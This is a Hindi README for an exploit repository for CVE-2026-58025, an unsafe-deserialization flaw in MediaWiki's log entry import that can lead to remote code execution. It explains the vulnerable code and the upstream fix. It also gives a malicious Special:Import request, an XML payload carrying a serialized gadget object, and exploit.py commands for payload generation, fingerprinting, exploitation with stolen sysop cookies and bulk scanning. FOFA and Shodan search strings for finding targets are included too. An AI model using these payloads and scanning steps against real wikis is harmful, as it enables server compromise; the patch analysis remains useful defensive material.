
CVE-2026-58025 — MediaWiki डिसीरियलाइज़ेशन RCE लॉग एंट्री इम्पोर्ट के माध्यम से। LogEntryBase::extractParams() उपयोगकर्ता-नियंत्रित log_params को unserialize() करता है। CVSS 9.8 | CWE-502 | MediaWiki < 1.43.9, < 1.44.6, < 1.45.4, < 1.46.0
CVE-2026-58025 MediaWiki (विकिमीडिया फ़ाउंडेशन) में अविश्वसनीय डेटा के डिसीरियलाइज़ेशन (deserialization) से संबंधित एक गंभीर (CVSS 9.8) भेद्यता है। LogEntryBase::extractParams() मेथड, उपयोगकर्ता-नियंत्रित लॉग एंट्री पैरामीटरों पर बिना यह प्रतिबंध लगाए कि कौन सी PHP क्लासेस इंस्टैंशिएट हो सकती हैं, को कॉल करती थी। या अधिकार (डिफ़ॉल्ट: समूह) रखने वाला हमलावर फ़ील्ड में सीरियलाइज़्ड PHP ऑब्जेक्ट युक्त एक दुर्भावनापूर्ण XML इम्पोर्ट फ़ाइल तैयार कर सकता था, जिससे मनमाना ऑब्जेक्ट इंस्टैंशिएशन और गैजेट चेन के माध्यम से संभावित रिमोट कोड एक्ज़ीक्यूशन (RCE) ट्रिगर हो सकता था।
unserialize()importuploadimportsysop<params>| संस्करण शाखा | असुरक्षित | पैच किया गया |
|---|---|---|
| 1.43.x | < 1.43.9 | 1.43.9 |
| 1.44.x | < 1.44.6 | 1.44.6 |
| 1.45.x | < 1.45.4 | 1.45.4 |
| 1.46.x | < 1.46.0 | 1.46.0 |
आवश्यकताएँ:
importयाimportuploadअधिकार (डिफ़ॉल्ट:sysopसमूह)। हमलावर को MediaWiki के Special:Import में XML फ़ाइल अपलोड या इम्पोर्ट करने में सक्षम होना चाहिए।
includes/Logging/LogEntryBase.php में LogEntryBase::extractParams() मेथड, log_params ब्लॉब पर बिना किसी क्लास प्रतिबंध के सीधे unserialize() को कॉल करती थी:
// includes/Logging/LogEntryBase.php (फिक्स से पहले)
public static function extractParams( $blob ) {
return unserialize( $blob ); // ← उपयोगकर्ता-नियंत्रित, कोई allowed_classes प्रतिबंध नहीं
}
यह मेथड कई स्थानों से कॉल की जाती है:
| फ़ाइल | पंक्ति | संदर्भ |
|---|---|---|
includes/Logging/DatabaseLogEntry.php | 187 | getParameters() — DB से लॉग एंट्री पढ़ना |
includes/RecentChanges/RecentChange.php | 781 | parseParams() — हाल के बदलावों का विश्लेषण |
includes/Import/WikiRevision.php | 638 | importLogItem() — XML से लॉग एंट्री इम्पोर्ट करना |
maintenance/purgeChangedFiles.php | 182 | मेंटेनेंस स्क्रिप्ट लॉग पार्सिंग |
tests/phpunit/maintenance/DumpAsserter.php | 541 | टेस्ट सहायक |
प्राथमिक हमला वेक्टर Special:Import के माध्यम से XML इम्पोर्ट है:
import/importupload अधिकार के साथ) एक दुर्भावनापूर्ण MediaWiki XML एक्सपोर्ट फ़ाइल तैयार करता है<logitem> एलिमेंट होता है जिसमें PHP सीरियलाइज़्ड पेलोड युक्त <params> फ़ील्ड होती हैWikiImporter::processLogItem() → WikiRevision::importLogItem() लॉग एंट्री को स्टोर करता हैDatabaseLogEntry::getParameters(), RecentChange::parseParams(), या लॉग डिस्प्ले के माध्यम से), LogEntryBase::extractParams() हमलावर-नियंत्रित ब्लॉब पर unserialize() को कॉल करता हैPOST /wiki/Special:Import
Content-Type: multipart/form-data
action=submit
xmlimportfile=<malicious.xml>
source=file
catname=
prefix=
loginComment=
malicious.xml:
<mediawiki ...>
<logitem>
<type>test</type>
<action>test</action>
<params>a:1:{s:3:"foo";O:8:"GadgetClass":N:{...}}</params>
</logitem>
</mediawiki>
→ WikiImporter::handleLogItem()
→ WikiImporter::processLogItem()
→ WikiRevision::importLogItem() → DB में स्टोर करता है
→ बाद में: DatabaseLogEntry::getParameters()
→ LogEntryBase::extractParams( $blob ) → unserialize( $blob )
→ PHP GadgetClass ऑब्जेक्ट इंस्टैंशिएट करता है → __wakeup() / __destruct() गैजेट चेन
→ www-data के रूप में RCE
XML इम्पोर्ट में <params> फ़ील्ड मानक PHP सीरियलाइज़्ड स्ट्रिंग्स स्वीकार करती है। एक सुरक्षित (सौम्य) एंट्री:
a:1:{s:3:"foo";s:3:"bar";}
सीरियलाइज़्ड ऑब्जेक्ट युक्त एक दुर्भावनापूर्ण एंट्री:
a:1:{s:3:"foo";O:8:"stdClass":0:{}}
जब unserialize() को बिना allowed_classes प्रतिबंध के कॉल किया जाता है, तो ऑब्जेक्ट पूरी तरह इंस्टैंशिएट हो जाता है। उपलब्ध गैजेट चेन (जैसे, Composer-इंस्टॉल्ड लाइब्रेरीज़ से) के साथ, यह RCE बन जाता है।
कमिट: 60f154d4618063ac4d5832285fc246b8fcd7c72c
लेखक: Bartosz Dziewoński
दिनांक: 2026-06-29
फिक्स रक्षा की कई परतों को लागू करता है:
allowed_classes के साथ प्रतिबंधित unserialize()// includes/Logging/LogEntryBase.php (फिक्स के बाद)
public static function extractParams( $blob, ?string $logType = null ) {
$attribute = ExtensionRegistry::getInstance()->getAttribute( 'LogParamsAllowedClasses' );
if ( $logType && array_key_exists( $logType, $attribute ) && is_array( $attribute[$logType] ) ) {
$allowedClasses = $attribute[$logType];
} else {
$allowedClasses = false; // कोई क्लास अनुमत नहीं
}
$result = @unserialize( $blob, [ 'allowed_classes' => $allowedClasses ] );
if ( $result !== false && !is_array( $result ) ) {
return false;
}
return $result;
}
containsUnsafeParams() चेक__PHP_Incomplete_Class इंस्टेंस (वे ऑब्जेक्ट जिन्हें allowed_classes द्वारा अवरुद्ध किया गया था) का पता लगाता है:
public static function containsUnsafeParams( array $params ): bool {
$result = false;
$params = [ $params ];
array_walk_recursive( $params, static function ( $val ) use ( &$result ) {
if ( $val instanceof \__PHP_Incomplete_Class ) {
$result = true;
}
} );
return $result;
}
WikiImporter::processLogItem()नया logentryimport अनुमति चेक (डिफ़ॉल्ट रूप से किसी को नहीं दिया गया):
private function processLogItem( $logInfo ) {
if ( !$this->performer->authorizeAction( 'logentryimport' ) ) {
$this->notice( 'permissionserrorstext-withaction-noreason', ... );
return false;
}
// ...
}
WikiRevision::importLogItem() — असुरक्षित पैरामीटर अस्वीकृतिif ( LogEntryBase::containsUnsafeParams(
LogEntryBase::extractParams( $this->params, "{$this->type}/{$this->action}" ),
) ) {
wfDebug( __METHOD__ . ": skipping {$this->type}/{$this->action} with unsafe params" );
return false;
}
UnsafeLogFormatter — मौजूदा दुर्भावनापूर्ण एंट्रीज़ का सुरक्षित प्रदर्शननई UnsafeLogFormatter क्लास, अवरुद्ध ऑब्जेक्ट युक्त एंट्रीज़ के लिए सामान्य फ़ॉर्मेटर को बदल देती है, और खतरनाक डेटा को फ़ॉर्मेट करने का प्रयास करने के बजाय एक प्लेसहोल्डर संदेश प्रदर्शित करती है।
उसी शोध (T422244) ने यह भी पहचाना कि LogFormatter के raw पैरामीटर प्रकार ने उपयोगकर्ता-नियंत्रित लॉग पैरामीटरों से कच्चे HTML आउटपुट की अनुमति दी थी। इसे साथी कमिट में Message::rawParam() को Message::plaintextParam() में बदलकर ठीक किया गया।
शामिल exploit.py लॉग एंट्री पैरामीटरों में सीरियलाइज़्ड PHP ऑब्जेक्ट युक्त एक दुर्भावनापूर्ण MediaWiki XML इम्पोर्ट फ़ाइल उत्पन्न करता है। यह MediaWiki इंस्टेंस की फ़िंगरप्रिंटिंग भी कर सकता है और API के माध्यम से इम्पोर्ट का प्रयास भी कर सकता है।
# दुर्भावनापूर्ण XML पेलोड जनरेट करें
python exploit.py --generate --output payload.xml
# टारगेट की फ़िंगरप्रिंटिंग करें
python exploit.py -u https://target.com --check
# पूर्ण एक्सप्लॉइट (sysop उपयोगकर्ता के लिए मान्य सेशन कुकीज़ आवश्यक)
python exploit.py -u https://target.com -c "session_cookies_here"
git clone https://github.com/shinthink/CVE-2026-58025.git
cd CVE-2026-58025
pip install requests
# दुर्भावनापूर्ण XML इम्पोर्ट फ़ाइल जनरेट करें
python exploit.py --generate --output payload.xml
# MediaWiki संस्करण की फ़िंगरप्रिंटिंग करें
python exploit.py -u https://target.com --check
# Special:Import के माध्यम से दुर्भावनापूर्ण XML अपलोड करें (sysop सेशन आवश्यक)
python exploit.py -u https://target.com -c "wiki_session=abc123; wikiUserID=1; wikiUserName=admin"
# बल्क चेक
python exploit.py -f targets.txt --check -o results.txt
FOFA: body="mediawiki" && body="Special:Import"
Shodan: http.html:"mediawiki"
SECURITY: Safely unserialize log entry parametersLogFormatter: 'raw' parameter format is no longer raw HTMLयह एक्सप्लॉइट केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान के लिए प्रदान किया गया है। स्वामी से स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध इसका उपयोग न करें।